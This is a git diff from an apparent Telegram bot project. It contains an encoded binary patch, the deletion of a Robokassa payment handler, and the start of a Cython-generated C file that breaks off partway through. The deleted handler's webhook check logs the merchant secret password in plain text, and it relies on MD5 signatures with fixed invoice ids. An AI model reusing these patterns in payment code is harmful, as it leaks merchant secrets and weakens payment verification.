zK_>Gzm=8XuK|R(}35~vzpY)sNM!p_%&w0&jv7T7wk<3-N)n^d%80OVA_B_OVu!B!$ zUc|g6%fH8b4)cc0H!51{0XyLmp2VPlRXA z3<%%@qxE^0c`@@C=2b&0(gH-0D!Id7*%wRo-m`5@;mraSeEu^}GkJ!c*+fb6t7O4?6UW23Preko62_J$Pr7r6=;G;CRJW z&^(5@iPu7Kr6&ol)aM85ugCKd^O(UJnDV^a@G@Gy8_S<%K8g9uTt34pYW>Zx(f}!L zeQsr*#C!zv7;u#iMI26?=(0WoSzcN?md|3one{AWK9+eAX@8qCpU!+S^BbAtj&v&> zHZwQ%Wi@kYR#|={b3FcPkp|3vX5O56Ec5bLYyCychcd6vyo7l=^Ull%m(%(U_cPzj zya&sVWiD+#^Ou=NhH5>Xbg}T1sieb`Q&ICY{pA_X{NU9ZY)AW|KA$r$uB`bo*3;-3 zj#pL9Te1A}%uUBLn)Sa9UdB_?Qy%X!Rv#2s>$A$@$oE%+`6sNWI9w}G{ek-IVjfdn z^H(+YoMc|Y+~jYW$~v53HMIN#EPp-oBIY|dUTv70-m*4_-^bi^oewh~%Y5-I8th>G zuQSi7qq%9vb~7)zS@V%BU;bJh&cWAfzKnST=8?5D|4x5-x-ysko8^Zxm(H9U$}!AM z&z^UucJMlQ8BdreD_$o6nnCOHU*<7)Xnr&E-OMM&Y0lNubDa6XSj|x#tj`7J3p#3! z=v$vE7%nJ(PdW5NGLP)0C&v4nCFnFwS3ePuAyE=A$|NO@1w9UXIg2`+|Of`6WkwZD3x)4Gg*i z>$9JEaR;pd(YHQ0du+uwjKgW-RjsP#Igb2l&Ahm+))U2g?q?px@}|DyjGCo?ag3IS zch=`6!yVyS%DjZb6VCFuO2*Q&*};D@dK^5onwFpBC|7luH|Ko3p7nQRzS)t#gP9+6 zq~{3cIm}IdjbmQK>0`?OTg=Zn@@p0ING@-vp4Mk8^GTd;Fj}9Vm=|-ot;4(;5=xcZ z6i2zbnRyY{7jz%ir#16~4*8DE7dz@#vXSqq^RX-I@iCvn{C4J<%yXEVd@p1k!`!6L zW6V9wO*=E0`Jn{uum0=t%woQoxzWFn`5flWI6Ut$k73@6`5NX2yJ*dwm~UWSd<=a?sPeZP*wSse|aO8;RFf9o+H?5OXzGoRzA zFI|}*bJX_%%=b9@_aV%a9QsEy&*6BPcHjl({aKG`f95hD>3HZr?cKRh@Ylr?Z(~w`N|#{e|Jl%#)a#_IVWZIgWmOHuFgw z9+U6On0IruZ)=TyM|$pK9`BI|a-{#O?2@X|yHh1J#edf{J&X|6o1@kb6e0S!P9R2%n z=6`T_%s6%w^I?v5;~D179pj?K%;#{w9LedhlX-C)9l~3fmqo!=@!ISt|8TILgT$<{rm5@E7JEILbp=OdM3Y6?1$|IB^NF#m_tPs{!*EN4m9P-rSLHU71HZ z_Ai{@}@pM#{8V4yiI0)(2?&8n746+|9$3R98QzYUov07@+N(D zF;C)rG400B%;z}5`3Ljn4u31&pwoG_Bfb&LJ&ts1%)EsCHT~3G%+EN|A%S^}BOkrY zBiUb*p4rTgu{@R?tj~DnZ5-|Abmr68UsIl6XCB7-%{ciz=99RdqB>ijZ9$ zW9HU|DO5CN{X3aAR~xDL6zDGxjs;oqT70Jlt2iI4VqmG_n-in?Pu#KH#(Z$R<_B5+ ze&#V#n3wd|T(pl;^OB*OzpmAJUSeJ}LW7p~Y55(@=R6P`o*S@$qvBhudcnqcrE|5IvF1BOlbkOa6dYUsIJTaIj82M*{`A~~Tcm{L1D$o8t#Jsewb8s@)&tMo5=PN)Ac=AluV z7eA(X4D(3lo(Y=k*sGp^EppzUc?-)S+&Ab%<}7*&t@LU zd=B&FM*dl?r8nA|8Jx05EEg%+>w z+3X0%w=r@Lydx zwJ1H^s=M$;Eg&%U^XI*&J+e=TMI^d=C%h4|Kce(In7e3U5KLlP{ z`ak0$Kf{GDb>W}7@NZoBQ5Sy6g;#4+dU`f>;ju1!pbO7%;g7oT7hL#k7ygzDf5N36 zt#Xn7(uM!z!hd(+S7V{0wEBC!3vcAYTf6Xh7kJyOi@P zca)x%J_Dai~M6Q{CO8X&xJ2{;a|J(BQCteg?nkci zDID$1&++Ex`bPS5^Zed6!+cq38TjdK1CdOBR(_s0x@C|%uXdG}nw{hK=H=%Wq~?R< zW~ch|^1P|OjEodt>Tuzmx!{MTb$o z^!$IYMIH<>?h4}zvaI~@4)y1IM-=!nvV58T(rt%kWT*Ht@=CW%&B)Fx$aQghD$mo1}5q{O=OuAG@`GohDc0!@o(IfArwrrBI;T{JRmxzfPtr z_vYWE)j#{9I%iw&+(Wvjq{4*Eob23uZ-=zB?%8Pt8U9{=m(I8J9w-*+*WI5#EIaM; zJ|x$llWS;DXEr2PcjBti&&)&T<@f5&8v{V}WNIX-LY!3Crx1g}UVdMi=`oWE6Rob- ztNax)W(j$HatlmHE|Q)7`5p4}b9?9KdXfsg{X50Q_KJ&Vr#kZSx!IYQg)?q+sy|2d zs<9b<-(}Iz{b#D(D$sYPXJL$!<{#oK$Ow!P0@i9IGknzF+dFMd@@aq5{D^(FNhXY( z3%z+c{#0*%wl~wtM8rm=E$Rr1{{QXn{-r1XgC62v`t-LA?!VN1B`wy!^x~f@y2|yO zLKFgTYOWvk%9H6!&+?{c<@VU+OS_TC7STA7;`fm{vxkc}ve4+Q*mD zAuCPEYO|72MPj%&-#=PqtTx12PSUL5JQ6%hPkFsVvU9x!d4AQ{X}P>%IVdk;bWXsB z2j=H#zI>m^={cwvfNUXQbIOz-gPG zFDnzny}_2CIoUWAqysN3$abSC-Ac%zjr|(Jc*XkCYsb?K=-&FeY}ZD zeG(FTs0yV6p2Ufk+^gH=iDE2OiegO#X^XBYsAw69yn*qi zDd3M@3bLo~W#zP2V#maLI`r<{!5i13L&t7$;y7T@EwOV#k5YINoT<7W{Wo@jbPMR~ z6W6od0U)!S5=zP=1=DWQHFrLwUnsl<)*cz%u1^#@bMzd?wr58OwL8qKgJ^wCSaWd%e+t9KiCS zO{SIYcWc}4+ibsYxBYHo``tG1yG0=Py)A5hwXpfs!lu84O@9lU9-DYeTku=j)Z0Sb z%I1?zxlOk%xB*{$Y3SUg(UwRk%neY0rDqRCL35hDL-I0}ilFAur)4cW^e?vZXKeB@ z7!Q?%G4Vc}lVfp!i{Ptbe@|l%NjLS`%;>*e#WhU zFe^1Z8!_QkN1HH@V{~!Gs-S9E#G4dHE2~zytW{>!i`hzhFb`y|@DT<6+(4I>I?UE= zp{K^Obs(Rx$c9y?KnS%xXILp+S1Q(t^HdGvWGbca9hQw1cC@Q#UNNro1+U9WWK%P+ zLa){r)AcA$CyAN47?WDF#Xu2Do~eG76gKDZC1A?V8j>EU=7`>q^xVwLb3bS}pbRNK zo0c?xNY=cWS!;^=AbM>7)u?z`i_X zEh)60L2}}eUkykCrr>P#yAMW&nhlcS$PGQV@TOqmW<_4~iIpiDL4y)xqfHXiNPi*9 z7&b11{_PsQP952kVK4G*8x%keRoJ^JUCx#dyA!b_V4>y7Hm6=21=UM0sXfpbN?L z=b|lA1KOazKNI6D-_Sta$n@v?g3~Ez@nE<&GuLWda?@?iKCc4ll7zto5}C)<|TnEfJjfykR3M$-#9 z_WiKqcqLnqHnG3mej9Gzy3(P`^<~-e0-?(&barsLesnOlI7myyor1(PU=h5*I2_3t zG~Ub2R{K&q0D7wv#a}0Zjb{Z)B#NjEE0ERJSlx^Lrt~4{scO&3<|;2Qux+Xa{rTRY zvZ6rnxI)h^ZMB9$pre%;9S=7HzL{~WcVy7ORjq;rgmN;h#SD&azAraFPYsC!0ztzZ z6}W;xL=l*JI+s*m2KWCuxw$yw>v9&Fca ztNBx2CKY1x;O&grSC%Z>c2}!P{=7Z~m|C%0$Qj3_?Z*C%mMF9x`LZGfJ;8grtRG7} z_l&aUGG4Q^#5T6rsCrQ98kw^A+r3;R;M@V1v{sg-uh2Vff}A+@1=h)wv%g!VR`$+S z>R{Kledj>J$0;9GEekFx)_623JulZMsT?RrylTphdik&sUrLF=J^>bgvihN<_Ri1F z!J;KrcXX3v`4tG98T>kMus60W!>G&a=+Skl<9!F@dqP&4?4k!EE2Yc|R1U`0Cgw># z9FIw~2ED!vtp2EOGOx5qLAMlXP5{~2Q0s_lWmT=ymf}|AluTllzeBDXbgPit>L~PE zdkShGqLPdycvTBcgj$iV4oX-{seV`+?c!-0ttB9)1H8h3v~}zLuhi$};ZUB3aMwE{aIeG)o}%teyfQu zr3wUEEY!BCtt@g+?&sw}R8}ER0e@2?uwreRhUDam2*V!Z6 ztfwih;A&|Z{eF+Y@hL_1o^NOClN?N z{tG|;_VAW3B^85JHKI$4GL1wgh96gy%h6o3{W9LQO{=e1%at`YSFG-z+RiIh@e<%+JbOT2Q0|J=`CVOQZ=22}HCZ$H&$x3_nOOq8!w|KFrxP`mDp#Yt5A zP)j-pZBu%;VL5VIVf<~*z&Mn6gSOgj!@WLgvii4OmnGr!Nq0uZDhElXmx@pWO|u>t zUSnMe$AQdDI?xk%GyRzC~F6l_KFCg4I>8FEE_OdUWWX z5DVJ5N3u7r3p?o2sTWY6?y<&c=WdA|J9P6V#>e-L>*MXCwuYflE&Sprm{|%?5c7J{6_u3 zQ8sHgRE@pjty6GVbucH*uwarOm?6ng8#NU2coX_`M}0S0gh;9k!g&v@ZX^}PXJq^G zy_O)nQA-}iz*AI-pcS7EyeuMdid6^M`uTmsarzI{FgU2mSymDDryK@ z9r-{Yt?JPU)x$~{xJ8{!O;7iZ8ipOGJT>Wsls8UoQehvwAU6-oG-^hwf~``3Q@1;s z-FO@T2Uf#w_@z$6z|^Ba)oFFI28O_lo5#6oc}y?Ibg)Vrr-2nsBxmo8bjyF|DMz?5 z`QITgxleo>$uPaLqY8yaI8S3`pS_d7xIH};Ayi>dQ+t)k9EvfTP~V4poo{>+?w>=RiV?r@?LT&0>$4A#;k8!4ELnx>V)U$Hic77P6< z*_Ed~REbx|1f=xAf(3h}TPtPWD8nFSJ7R6D9fXSu}Q-n^_FoYKf2 z5@g*4jR=6Mt&XXi6aZB{Gjkk?Z;5os3#d_X)CWwRK^2b2 z@}?if6VI`s8Vtp9x2g*`VeN%?x=^UIlafa8&DNSInc!Z61DS{i>V{xcsza($C#O(S zCt6i2mF+t35e(h!=)&i{Co6kYmO6e0DJ%kdle5q&57#T>5)N*tly@j#iK%F*vG8t> za6(=`dy~#-qrY^LD{0GTF7`n_d%OAZRG_m9;941|9o&{m^)W3tS`3smb?7KQ!-sPr z!9HmlKyP1Ugj)3tL`-$QDrZzxG8x0k)eR5h;ZTyaYxc-=^N;jr=->sEaVnZJfc*@; zs|fY#>^ZCF!fcj*;oM3Uo$spBSj)wx(3yrQ7M-f8b*gMyZn!eDdz|4!&w#TO?8dUy zix`S;Yq-eYD)l&l-0;)1<59>L$Db9U~Z$&%&LAk zDLXGQD?^oWRX(hQw$2Kel(te41)ZB@C7?Rz^b~B88W|2mLSAokia=`$S^;G3+>5CW zT#rLcfH|d<2Uh)7t9)^ztzoCKLPkS-z8cpBBB|5b3^xM26P}5)212S{$~aD`R;`-} zw$+iuszXOMm4Orss0}oZDmC=D(q&X>ViTL4h0R{*rc+g#aRLIzA1i&UL|wI@tiOjp^!mjdH~yIKVUYdP=05Uf%elvV$7rL+8Ggo|QTU;B8-0V>z4?yhco_ek@gKwPJF>ze z+_R-V=G(*ZSMIOFf2aGWz*H3ZdeOlBiAjL?sPbk1m~a?20YB{SBiWt#4l^FI19SI` z`JU`>-@LyTG~Y&!oy*-dhR<}kk74)bTO!N~j63uFs?+^oEf~Y!{*O$~Xl~qTlgG0V zKkV^0_hFiEa}TSLcc$OF>|T6{XbKT^SuXdueG^1_nVq;BL@-dW6b9J z2T)aZjsNC;QS)7_5(ghu|J290Gx<0bOoPuAEvQ zaN{1=E(d*-tooSmYuLS}fxpA~ex@)Z$W{)c=LQ$|56#pu8dpPFCQF0Uy?T9slPSSJ z7wemp>zagi@n2n+Uz+`b^tn zmn`2a+%l^B`P8Q_{=WoalO3l2R;lcWq7wHkenPvy>MqMDf1Kg30-Ms@Fa1=z=WF6! G-Tyx^>xfSP literal 0 HcmV?d00001 diff --git a/handlers/payments/robokassa_pay.py b/handlers/payments/robokassa_pay.py deleted file mode 100644 index 2c1de2e5..00000000 --- a/handlers/payments/robokassa_pay.py +++ /dev/null @@ -1,277 +0,0 @@ -import hashlib -from typing import Any - -from aiogram import F, Router, types -from aiogram.fsm.context import FSMContext -from aiogram.fsm.state import State, StatesGroup -from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup -from aiogram.utils.keyboard import InlineKeyboardBuilder -from aiohttp import web -from config import ( - ROBOKASSA_ENABLE, - ROBOKASSA_LOGIN, - ROBOKASSA_PASSWORD1, - ROBOKASSA_PASSWORD2, - ROBOKASSA_TEST_MODE, -) -from robokassa import HashAlgorithm, Robokassa - -from database import ( - add_connection, - add_payment, - check_connection_exists, - get_key_count, - update_balance, -) -from handlers.payments.utils import send_payment_success_notification -from handlers.texts import PAYMENT_OPTIONS -from logger import logger - -router = Router() - - -class ReplenishBalanceState(StatesGroup): - choosing_amount_robokassa = State() - waiting_for_payment_confirmation_robokassa = State() - - -if ROBOKASSA_ENABLE: - robokassa = Robokassa( - merchant_login=ROBOKASSA_LOGIN, - password1=ROBOKASSA_PASSWORD1, - password2=ROBOKASSA_PASSWORD2, - algorithm=HashAlgorithm.md5, - is_test=ROBOKASSA_TEST_MODE, - ) - - logger.info("Robokassa initialized with login: {}", ROBOKASSA_LOGIN) - - -def generate_payment_link(amount, inv_id, description, tg_id): - """Генерация ссылки на оплату.""" - logger.debug( - f"Generating payment link for amount: {amount}, inv_id: {inv_id}, description: {description}" - ) - payment_link = robokassa._payment.link.generate_by_script( - out_sum=amount, - inv_id=inv_id, - description="пополнение баланса", - id=f"{tg_id}", - ) - logger.info(f"Generated payment link: {payment_link}") - return payment_link - - -@router.callback_query(F.data == "pay_robokassa") -async def process_callback_pay_robokassa( - callback_query: types.CallbackQuery, state: FSMContext, session: Any -): - tg_id = callback_query.message.chat.id - logger.info(f"User {tg_id} initiated Robokassa payment.") - - builder = InlineKeyboardBuilder() - for i in range(0, len(PAYMENT_OPTIONS), 2): - if i + 1 < len(PAYMENT_OPTIONS): - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', - ), - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i + 1]["text"], - callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - ), - ) - else: - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'robokassa_amount|{PAYMENT_OPTIONS[i]["callback_data"]}', - ) - ) - builder.row( - InlineKeyboardButton( - text="💰 Ввести свою сумму", - callback_data="enter_custom_amount_robokassa", - ) - ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")) - - key_count = await get_key_count(tg_id) - - if key_count == 0: - exists = await check_connection_exists(tg_id) - if not exists: - await add_connection(tg_id, balance=0.0, trial=0, session=session) - logger.info(f"Created new connection for user {tg_id} with balance 0.0.") - - await callback_query.message.answer( - text="Выберите сумму пополнения:", - reply_markup=builder.as_markup(), - ) - await state.set_state(ReplenishBalanceState.choosing_amount_robokassa) - logger.info(f"Displayed amount selection for user {tg_id}.") - - -@router.callback_query(F.data.startswith("robokassa_amount|")) -async def process_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - logger.info(f"Получены данные callback_data: {callback_query.data}") - - data = callback_query.data.split("|") - if len(data) != 3 or data[1] != "amount": - logger.error("Ошибка: callback_data не соответствует формату.") - await callback_query.message.answer("Ошибка: данные повреждены.") - return - - amount_str = data[2] - try: - amount = int(amount_str) - if amount <= 0: - raise ValueError("Сумма должна быть положительным числом.") - except ValueError as e: - logger.error(f"Некорректное значение суммы: {amount_str}. Ошибка: {e}") - await callback_query.message.answer("Некорректная сумма.") - return - - await state.update_data(amount=amount) - logger.info(f"User {callback_query.message.chat.id} selected amount: {amount}.") - inv_id = 0 - - tg_id = callback_query.message.chat.id - payment_url = generate_payment_link(amount, inv_id, "Пополнение баланса", tg_id) - - logger.info(f"Payment URL for user {callback_query.message.chat.id}: {payment_url}") - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Оплатить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay_robokassa")], - ] - ) - - await callback_query.message.answer( - text=f"Вы выбрали пополнение на {amount} рублей. Для оплаты перейдите по ссылке ниже:", - reply_markup=confirm_keyboard, - ) - logger.info(f"Payment link sent to user {callback_query.message.chat.id}.") - - -async def robokassa_webhook(request): - """Обработка webhook-уведомлений от Robokassa с учетом shp_id.""" - try: - params = await request.post() - - logger.info(f"Received webhook params: {params}") - - amount = params.get("OutSum") - inv_id = params.get("InvId") - shp_id = params.get("shp_id") - signature_value = params.get("SignatureValue") - - logger.info( - f"OutSum: {amount}, InvId: {inv_id}, shp_id: {shp_id}, SignatureValue: {signature_value}" - ) - - if not check_payment_signature(params): - logger.error("Неверная подпись или данные запроса.") - return web.Response(status=400) - - if not amount or not inv_id or not shp_id: - logger.error("Отсутствуют обязательные параметры.") - return web.Response(status=400) - - tg_id = shp_id - - logger.info(f"Processing payment for user {tg_id} with amount {amount}.") - - await update_balance(int(tg_id), float(amount)) - await send_payment_success_notification(tg_id, float(amount)) - - await add_payment(int(tg_id), float(amount), "robokassa") - - logger.info(f"Payment successful. Balance updated for user {tg_id}.") - - return web.Response(text=f"OK{inv_id}") - - except Exception as e: - logger.error(f"Error processing webhook: {e}") - return web.Response(status=500) - - -def check_payment_signature(params): - """Проверка подписи запроса от Robokassa с учетом shp_id.""" - out_sum = params.get("OutSum") - inv_id = params.get("InvId") - signature_value = params.get("SignatureValue") - shp_id = params.get("shp_id") - - signature_string = f"{out_sum}:{inv_id}:{ROBOKASSA_PASSWORD2}:shp_id={shp_id}" - - logger.info(f"Signature string before hashing: {signature_string}") - - expected_signature = ( - hashlib.md5(signature_string.encode("utf-8")).hexdigest().upper() - ) - - logger.info(f"Expected signature: {expected_signature}") - logger.info(f"Received signature: {signature_value}") - - return signature_value.upper() == expected_signature.upper() - - -@router.callback_query(F.data == "enter_custom_amount_robokassa") -async def process_custom_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - tg_id = callback_query.message.chat.id - logger.info(f"User {tg_id} chose to enter a custom amount.") - - builder = InlineKeyboardBuilder() - builder.row(InlineKeyboardButton(text="🔙 Назад", callback_data="pay_robokassa")) - - await callback_query.message.answer( - "Пожалуйста, введите сумму пополнения.", - reply_markup=builder.as_markup(), - ) - - await state.set_state( - ReplenishBalanceState.waiting_for_payment_confirmation_robokassa - ) - - -@router.message(ReplenishBalanceState.waiting_for_payment_confirmation_robokassa) -async def handle_custom_amount_input(message: types.Message, state: FSMContext): - tg_id = message.chat.id - logger.info(f"User {tg_id} entered custom amount: {message.text}") - inv_id = 0 - - try: - amount = int(message.text) - if amount <= 0: - raise ValueError("Сумма должна быть положительным числом.") - - await state.update_data(amount=amount) - - payment_url = generate_payment_link(amount, inv_id, "Пополнение баланса", tg_id) - - logger.info(f"Generated payment link for user {tg_id}: {payment_url}") - - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [InlineKeyboardButton(text="Оплатить", url=payment_url)], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay_robokassa")], - ] - ) - - await message.answer( - text=f"Вы выбрали пополнение на {amount} рублей. Для оплаты перейдите по ссылке ниже:", - reply_markup=confirm_keyboard, - ) - await state.clear() - except ValueError as e: - logger.error(f"Некорректная сумма от пользователя {tg_id}: {e}") - await message.answer( - text="Введите корректную сумму в рублях (целое положительное число)." - ) diff --git a/handlers/payments/stars_pay.c b/handlers/payments/stars_pay.c new file mode 100644 index 00000000..9bbaf401 --- /dev/null +++ b/handlers/payments/stars_pay.c @@ -0,0 +1,19367 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.stars_pay", + "sources": [ + "handlers/payments/stars_pay.py" + ] + }, + "module_name": "handlers.payments.stars_pay" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 0 + #endif + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define 